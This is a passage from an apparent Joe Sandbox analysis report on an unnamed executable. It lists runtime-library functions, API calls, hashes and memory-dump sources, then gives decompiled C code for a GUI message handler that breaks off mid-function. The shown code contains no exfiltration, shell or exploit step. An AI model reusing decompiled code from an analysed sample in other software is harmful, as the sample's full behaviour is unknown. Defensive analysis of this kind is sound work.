                                                                                                                                                                            • Opcode Fuzzy Hash: 6cbc87983288f369fe854831ce83547e730c3a40b45c9aa84d90c27d10a72474
                                                                                                                                                                            • Instruction Fuzzy Hash: 71F08C302402029FC354EB36C988B6AB7E5BF48714F00453EE82AD7290DB706C00CB49
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004146CE Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • __lock_file.LIBCMT ref: 00414715
                                                                                                                                                                              • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                              • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __decode_pointer__getptd_noexit__lock_file
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3158947991-0
                                                                                                                                                                            • Opcode ID: 085163d9d6c6b92529dffeffa933b442a69769718ab4c3f036a6efc1e6619a91
                                                                                                                                                                            • Instruction ID: 976453b5b1ee2f3d44d02422b4ffd36af57946720b8a5c914dc71ca3f0d289f9
                                                                                                                                                                            • Opcode Fuzzy Hash: 085163d9d6c6b92529dffeffa933b442a69769718ab4c3f036a6efc1e6619a91
                                                                                                                                                                            • Instruction Fuzzy Hash: 92F08C70901219EBCF22BFA1CC024DE3B71AF42710F00855AF42466291C73D8AA1AB99
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00435152 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __fread_nolock
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2638373210-0
                                                                                                                                                                            • Opcode ID: 98b207d45e3e41938bcf73f1f58807d9d7fa02aba2c89a6dd945dc5fa430a16a
                                                                                                                                                                            • Instruction ID: c8cab7b9ad1e4d68f175e3e78f8025b3f2ff01098545686a0cb71aba66e94933
                                                                                                                                                                            • Opcode Fuzzy Hash: 98b207d45e3e41938bcf73f1f58807d9d7fa02aba2c89a6dd945dc5fa430a16a
                                                                                                                                                                            • Instruction Fuzzy Hash: 4FF0C0B5604B009FDB35CA24C841BD3B7E89B89344F04481EFA9A47342D676B885C65D
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0041AA31 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CreateHeap
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 10892065-0
                                                                                                                                                                            • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                            • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                                                                                                                                                                            • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                            • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004113E5 Relevance: 1.5, APIs: 1, Instructions: 14COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0041181B: __lock.LIBCMT ref: 0041181D
                                                                                                                                                                            • __onexit_nolock.LIBCMT ref: 004113FD
                                                                                                                                                                              • Part of subcall function 004112FA: __decode_pointer.LIBCMT ref: 00411309
                                                                                                                                                                              • Part of subcall function 004112FA: __decode_pointer.LIBCMT ref: 00411319
                                                                                                                                                                              • Part of subcall function 004112FA: __msize.LIBCMT ref: 00411337
                                                                                                                                                                              • Part of subcall function 004112FA: __realloc_crt.LIBCMT ref: 0041135B
                                                                                                                                                                              • Part of subcall function 004112FA: __realloc_crt.LIBCMT ref: 00411371
                                                                                                                                                                              • Part of subcall function 004112FA: __encode_pointer.LIBCMT ref: 00411383
                                                                                                                                                                              • Part of subcall function 004112FA: __encode_pointer.LIBCMT ref: 00411391
                                                                                                                                                                              • Part of subcall function 004112FA: __encode_pointer.LIBCMT ref: 0041139C
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1316407801-0
                                                                                                                                                                            • Opcode ID: d4f7479c18d2f3dc105ebfe0f2eac5810891221413fa193614bbe2c2ae41d224
                                                                                                                                                                            • Instruction ID: 67ef268c6cd115d101ef856db97c2ea624f8e5cc5d3a941a6f1fba9d4c5b72b9
                                                                                                                                                                            • Opcode Fuzzy Hash: d4f7479c18d2f3dc105ebfe0f2eac5810891221413fa193614bbe2c2ae41d224
                                                                                                                                                                            • Instruction Fuzzy Hash: 07D01731901205AACB00FFAAD8067CC76706F04318F20819AB114662E2CB3C46C19A18
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436AC4 Relevance: 1.5, APIs: 1, Instructions: 11COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetFileAttributesW.KERNELBASE(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AttributesFile
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3188754299-0
                                                                                                                                                                            • Opcode ID: 3827fa499cbe6790da74950c01e8698407cb86e948326011d7c9144cf41c76ba
                                                                                                                                                                            • Instruction ID: 9dac39ab09fb3289a02c1092d62d1a923cd271104a6d6048bcac11b088e6d7d5
                                                                                                                                                                            • Opcode Fuzzy Hash: 3827fa499cbe6790da74950c01e8698407cb86e948326011d7c9144cf41c76ba
                                                                                                                                                                            • Instruction Fuzzy Hash: 86C08C78000600268D001A3C465C04A33E0AA477A0FD5EA81F065921E0C2788C07EA24
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00414E06 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wfsopen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 197181222-0
                                                                                                                                                                            • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                            • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                                                                                                                                                                            • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                            • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004169E0 Relevance: 1.5, APIs: 1, Instructions: 4COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • __encode_pointer.LIBCMT ref: 004169E2
                                                                                                                                                                              • Part of subcall function 0041696E: TlsGetValue.KERNEL32(00000000,?,004169E7,00000000,00422F48,00496770,00000000,00000314,?,00418216,00496770,Microsoft Visual C++ Runtime Library,00012010), ref: 00416980
                                                                                                                                                                              • Part of subcall function 0041696E: TlsGetValue.KERNEL32(00000005,?,004169E7,00000000,00422F48,00496770,00000000,00000314,?,00418216,00496770,Microsoft Visual C++ Runtime Library,00012010), ref: 00416997
                                                                                                                                                                              • Part of subcall function 0041696E: RtlEncodePointer.NTDLL(00000000,?,004169E7,00000000,00422F48,00496770,00000000,00000314,?,00418216,00496770,Microsoft Visual C++ Runtime Library,00012010), ref: 004169D5
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Value$EncodePointer__encode_pointer
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2585649348-0
                                                                                                                                                                            • Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
                                                                                                                                                                            • Instruction ID: f62f3284a010ca3bbb159d13ec07db3ba5ef3bb17cb580217ffea2be35a92f46
                                                                                                                                                                            • Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
                                                                                                                                                                            • Instruction Fuzzy Hash:
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                            Function 0047C08E Relevance: 65.4, APIs: 35, Strings: 2, Instructions: 676windowkeyboardnativeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 78%
                                                                                                                                                                            			E0047C08E(struct HWND__* _a4, signed int _a8, struct HWND__** _a12) {
				intOrPtr _v12;
				long _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v72;
				signed int _v80;
				void* _v84;
				long _v88;
				void* _v92;
				signed int _v96;
				int _v100;
				void* _v104;
				long _v112;
				signed int _v116;
				int _v120;
				void* _v124;
				long _v128;
				char _v132;
				struct tagPOINT _v140;
				signed int _v144;
				signed int _v145;
				struct tagPOINT _v152;
				char _v153;
				signed int _v156;
				long _v164;
				char _v168;
				long _t212;
				struct HWND__* _t213;
				signed int _t215;
				struct HWND__ _t218;
				signed int _t221;
				signed int _t225;
				struct HWND__* _t227;
				struct HWND__* _t228;
				struct HWND__ _t229;
				intOrPtr _t236;
				signed int _t239;
				struct HMENU__* _t243;
				signed int _t248;
				struct HWND__** _t249;
				long _t251;
				struct HMENU__* _t255;
				signed int _t258;
				signed int _t260;
				signed int* _t261;
				signed int _t269;
				intOrPtr _t271;
				signed int _t273;
				long _t280;
				void* _t285;
				signed int _t288;
				signed int _t290;
				struct HWND__* _t291;
				void* _t292;
				void* _t299;
				struct HWND__** _t302;
				intOrPtr _t307;
				intOrPtr _t311;
				signed int _t313;
				signed int _t314;
				struct HWND__** _t316;
				struct HWND__** _t319;
				struct HWND__** _t333;
				struct HWND__** _t335;
				struct HWND__** _t356;
				struct HWND__ _t361;
				struct HWND__** _t363;
				signed int _t368;
				struct HWND__** _t382;
				struct HWND__** _t384;
				signed int _t393;
				long _t394;
				void* _t405;
				void* _t406;

				_t302 = _a12;
				_t212 = E004340B2(_a4, 0x4a83d8, _a4);
				_t307 =  *0x4a8438; // 0x0
				_t382 =  *( *(_t307 + _t212 * 4));
				_v140.x = _t212;
				_t213 = _t302[2];
				_t405 = _t213 - 0xfffffe6e;
				if(_t405 > 0) {
					__eflags = _t213 - 0xfffffff0;
					if(__eflags > 0) {
						__eflags = _t213 - 0xfffffff4;
						if(_t213 == 0xfffffff4) {
							_t215 = E004421C1(0x4a83d8,  *_t302);
							_v152.x = _t215;
							__eflags = _t215 - 0xffffffff;
							if(_t215 == 0xffffffff) {
								goto L16;
							} else {
								_t384 =  *0x4a844c; // 0x2f019d0
								_t218 =  *(_t384[_t215]);
								_t311 =  *((intOrPtr*)(_t218 + 0x88));
								__eflags = _t311 - 0x10;
								if(_t311 == 0x10) {
									L92:
									_t313 = _t302[3] - 1;
									__eflags = _t313;
									if(_t313 == 0) {
										return 0x20;
									} else {
										_t314 = _t313 - 0x10000;
										__eflags = _t314;
										if(_t314 != 0) {
											goto L16;
										} else {
											__eflags =  *((intOrPtr*)(_t218 + 0x44)) - 0xfe000000;
											_v145 = _t314;
											if( *((intOrPtr*)(_t218 + 0x44)) == 0xfe000000) {
												_v145 = 1;
											}
											_t221 = E0044213B(0x4a83d8, _t302[0xb],  &_v132,  &_v144);
											__eflags = _t221;
											if(_t221 == 0) {
												L106:
												__eflags = 0;
												return 0;
											} else {
												_t393 = _v144;
												_t225 =  *0x482718( *((intOrPtr*)( *(_t384[_t393]) + 0x30)), 0xfffffff0);
												__eflags = _t225 & 0x08000000;
												if((_t225 & 0x08000000) != 0) {
													goto L106;
												} else {
													__eflags = _t302[0xa] & 0x00000011;
													_t316 =  *0x4a844c; // 0x2f019d0
													if((_t302[0xa] & 0x00000011) == 0) {
														L100:
														_t227 =  *( *(_t316[_t393]) + 0x48);
														__eflags = _t227 - 0xffffffff;
														if(_t227 != 0xffffffff) {
															_t302[0xc] = _t227;
															_t316 =  *0x4a844c; // 0x2f019d0
														}
														_t228 =  *( *(_t316[_t393]) + 0x44);
														__eflags = _t228;
														if(_t228 >= 0) {
															__eflags = _v153;
															if(_v153 == 0) {
																L105:
																_t302[0xd] = _t228;
															} else {
																__eflags = _t302[9] & 0x00000001;
																if((_t302[9] & 0x00000001) != 0) {
																	goto L105;
																}
															}
														}
														goto L106;
													} else {
														_t229 =  *(_t316[_t393]);
														__eflags =  *((char*)(_t229 + 0x88)) - 0x14;
														if( *((char*)(_t229 + 0x88)) != 0x14) {
															goto L16;
														} else {
															goto L100;
														}
													}
												}
											}
										}
									}
								} else {
									__eflags = _t311 - 0x13;
									if(_t311 != 0x13) {
										goto L16;
									} else {
										goto L92;
									}
								}
							}
						} else {
							__eflags = _t213 - 0xfffffffb;
							if(_t213 == 0xfffffffb) {
								_v145 = 0;
								E00456354(0x4a83d8, _t382, 1);
								GetCursorPos( &_v152);
								ScreenToClient( *_t302,  &_v152);
								_t394 = E004421C1(0x4a83d8,  *_t302);
								_v164 = _t394;
								__eflags = _t394 - 0xffffffff;
								if(_t394 != 0xffffffff) {
									L70:
									_t319 =  *0x4a844c; // 0x2f019d0
									_t236 =  *((intOrPtr*)( *(_t319[_t394]) + 0x88));
									_v128 = _t394;
									__eflags = _t236 - 0x10;
									if(_t236 == 0x10) {
										_v124 = _v140.x;
										_v120 = _v140.y;
										_t239 = SendMessageW( *_t302, 0x1111, 0,  &_v124);
										__eflags = _t239;
										if(_t239 != 0) {
											_v80 = _t239;
											_v84 = 4;
											SendMessageW( *_t302, 0x113e, 0,  &_v84);
											__eflags = _v116 & 0x00000046;
											if((_v116 & 0x00000046) != 0) {
												_t248 = E0044213B(0x4a83d8, _v48,  &_v132,  &_v144);
												__eflags = _t248;
												if(_t248 == 0) {
													L86:
													_t394 = _v128;
												} else {
													_t394 = _v144;
													_t249 =  *0x4a844c; // 0x2f019d0
													_t361 =  *(_t249[_t394]);
													__eflags =  *(_t361 + 8);
													if( *(_t361 + 8) == 0) {
														goto L86;
													}
												}
											}
										}
										ClientToScreen( *_t302,  &_v140);
										_t356 =  *0x4a844c; // 0x2f019d0
										_t243 =  *( *(_t356[_t394]) + 8);
										__eflags = _t243;
										if(_t243 == 0) {
											goto L16;
										} else {
											TrackPopupMenuEx(_t243, 0x80, _v140.x, _v140.y,  *_t382, 0);
											return 1;
										}
									} else {
										__eflags = _t236 - 0x13;
										if(_t236 == 0x13) {
											_v104 = _v140.x;
											_v100 = _v140.y;
											_t251 = SendMessageW( *_t302, 0x1012, 0,  &_v104);
											__eflags = _t251 - 0xffffffff;
											if(_t251 <= 0xffffffff) {
												L80:
												ClientToScreen( *_t302,  &_v140);
												_t363 =  *0x4a844c; // 0x2f019d0
												_t255 =  *( *(_t363[_t394]) + 8);
												__eflags = _t255;
												if(_t255 != 0) {
													TrackPopupMenuEx(_t255, 0, _v140.x, _v140.y,  *_t382, 0);
												}
											} else {
												__eflags = _v145;
												if(_v145 != 0) {
													goto L80;
												} else {
													_v40 = _t251;
													_v44 = 4;
													_t258 = SendMessageW( *_t302, 0x104b, 0,  &_v44);
													__eflags = _t258;
													if(_t258 != 0) {
														__eflags = _v96 & 0x0000000e;
														if((_v96 & 0x0000000e) != 0) {
															_t260 = E0044213B(0x4a83d8, _v12,  &_v132,  &_v144);
															__eflags = _t260;
															if(_t260 == 0) {
																L79:
																_t394 = _v128;
															} else {
																_t394 = _v144;
																_t333 =  *0x4a844c; // 0x2f019d0
																_t261 = _t333[_t394];
																__eflags =  *_t261;
																if( *_t261 == 0) {
																	goto L79;
																} else {
																	_t368 =  *_t261;
																	__eflags =  *(_t368 + 8);
																	if( *(_t368 + 8) == 0) {
																		goto L79;
																	}
																}
															}
														}
														goto L80;
													}
												}
											}
										}
										goto L16;
									}
								} else {
									_t394 = E004421C1(0x4a83d8, GetParent( *_t302));
									_v152.x = _t394;
									__eflags = _t394 - 0xffffffff;
									if(_t394 == 0xffffffff) {
										goto L16;
									} else {
										_v145 = 1;
										goto L70;
									}
								}
							} else {
								__eflags = _t213 - 0xfffffffe;
								if(_t213 == 0xfffffffe) {
									E00456354(0x4a83d8, _t382, 1);
									GetCursorPos( &_v152);
									ScreenToClient( *_t302,  &_v152);
									_t269 = E004421C1(0x4a83d8,  *_t302);
									__eflags = _t269 - 0xffffffff;
									if(_t269 != 0xffffffff) {
										_t335 =  *0x4a844c; // 0x2f019d0
										_t271 =  *((intOrPtr*)( *(_t335[_t269]) + 0x88));
										__eflags = _t271 - 0x10;
										if(_t271 >= 0x10) {
											__eflags = _t271 - 0x11;
											if(_t271 <= 0x11) {
												_v124 = _v140.x;
												_v120 = _v140.y;
												_t273 = SendMessageW( *_t302, 0x1111, 0,  &_v124);
												__eflags = _t273;
												if(_t273 != 0) {
													_v80 = _t273;
													_v84 = 0xc;
													_v72 = 0xf000;
													SendMessageW( *_t302, 0x113e, 0,  &_v84);
													__eflags = _v116 & 0x00000046;
													if((_v116 & 0x00000046) != 0) {
														SendMessageW( *_t302, 0x110b, 9, 0);
														SendMessageW( *_t302, 0x110b, 9, _v112);
													}
												}
											} else {
												__eflags = _t271 - 0x13;
												if(_t271 == 0x13) {
													_v104 = _v140;
													_v100 = _v140.y;
													_t280 = SendMessageW( *_t302, 0x1012, 0,  &_v104);
													__eflags = _t280 - 0xffffffff;
													if(_t280 != 0xffffffff) {
														_v40 = _t280;
														_v44 = 4;
														SendMessageW( *_t302, 0x104b, 0,  &_v44);
														__eflags = _v96 & 0x0000000e;
														if(__eflags != 0) {
															_push(0);
															_push(_v12);
															goto L15;
														}
													}
												}
											}
										}
									}
								}
								goto L16;
							}
						}
					} else {
						if(__eflags == 0) {
							ReleaseCapture();
						} else {
							_t285 = _t213 + 0x140;
							__eflags = _t285 - 0xd4;
							if(_t285 <= 0xd4) {
								switch( *((intOrPtr*)(( *(_t285 + 0x47ca4e) & 0x000000ff) * 4 +  &M0047CA3E))) {
									case 0:
										InvalidateRect( *_t302, 0, 1);
										goto L16;
									case 1:
										__edx =  *0x4a8484;
										__esi = 0;
										_push(0);
										_push(0);
										_push(0);
										_push( *0x4a8484);
										__eax =  *0x482090();
										__eax =  *0x4a8484; // 0x98c540
										_push(0xfffffff0);
										_push(0xfffffff8);
										_push(0);
										_push(__eax);
										__eax =  *0x482094();
										__ecx = _a4;
										__eax = SetCapture(_a4);
										__edi = _a8;
										_v156 = 0;
										_v144 = 0;
										__esi =  &_v156;
										 *0x4a8488 = __edi;
										_v152.y = 1;
										__eax = E004092C0(__edi,  &_v156);
										_v156 = __edi;
										__edi = L"@GUI_DRAGID";
										__esi =  &(_v140.y);
										_v152.y = 1;
										__eax = E00401B70(__ebx, __edi, __esi, __eflags);
										__eax = 2;
										_t80 = __eax - 1; // 0x1
										__ecx = _t80;
										__edx =  &_v156;
										__eax = E004019E0(2, _t80,  &_v156, __esi);
										__ecx = __esi;
										__eax = E00402620(__esi);
										__edx =  *__ebx;
										__esi =  &(__ebx[8]);
										ClientToScreen( *__ebx, __esi) = __ebx[9];
										__ecx = __esi->i;
										_push(__ebx[9]);
										_push(__esi->i);
										_push(0);
										__eax =  *0x482098();
										__esi =  &_v168;
										__eax = E004092C0(__edi,  &_v168);
										goto L16;
									case 2:
										__esi = __ebx[1];
										__edx =  &_v144;
										 &_v132 = E0044213B(0x4a83d8, __esi,  &_v132,  &_v144);
										__eflags = __al;
										if(__eflags != 0) {
											__ecx =  *0x4a844c; // 0x2f019d0
											__edi = _v144;
											__edx =  *(__ecx + __edi * 4);
											__eax =  *( *(__ecx + __edi * 4));
											 *((short*)( *( *(__ecx + __edi * 4)) + 0x8e)) = __ebx[4];
											__edx = __ebx[1];
											__eax = E00461F2E(__eflags, __ebx[1], 0);
											__eax =  *0x4a844c; // 0x2f019d0
											__ecx =  *(__eax + __edi * 4);
											__edx =  *( *(__eax + __edi * 4));
											__eflags = __edx[9];
											if(__edx[9] > 0) {
												 *0x4a8414 = __esi;
												__eax =  *(__eax + __edi * 4);
												 *__eax =  *__eax + 0x20;
												__esi = 0x4a8418;
												__eax = E0040DF50(0x4a8418,  *__eax + 0x20);
												__edx =  *0x4a844c; // 0x2f019d0
												__eax = __edx[__edi];
												__ecx =  *(__edx[__edi]);
												 *0x4a8428 =  *((intOrPtr*)( *(__edx[__edi]) + 0x90));
												__eax = __ebx[4];
												__ecx =  *__ebx;
												__eax = SendMessageW( *__ebx, 0x1030, __ebx[4], 0x47e1f5);
											}
										}
										goto L16;
									case 3:
										goto L16;
								}
							}
						}
						goto L16;
					}
				} else {
					if(_t405 == 0) {
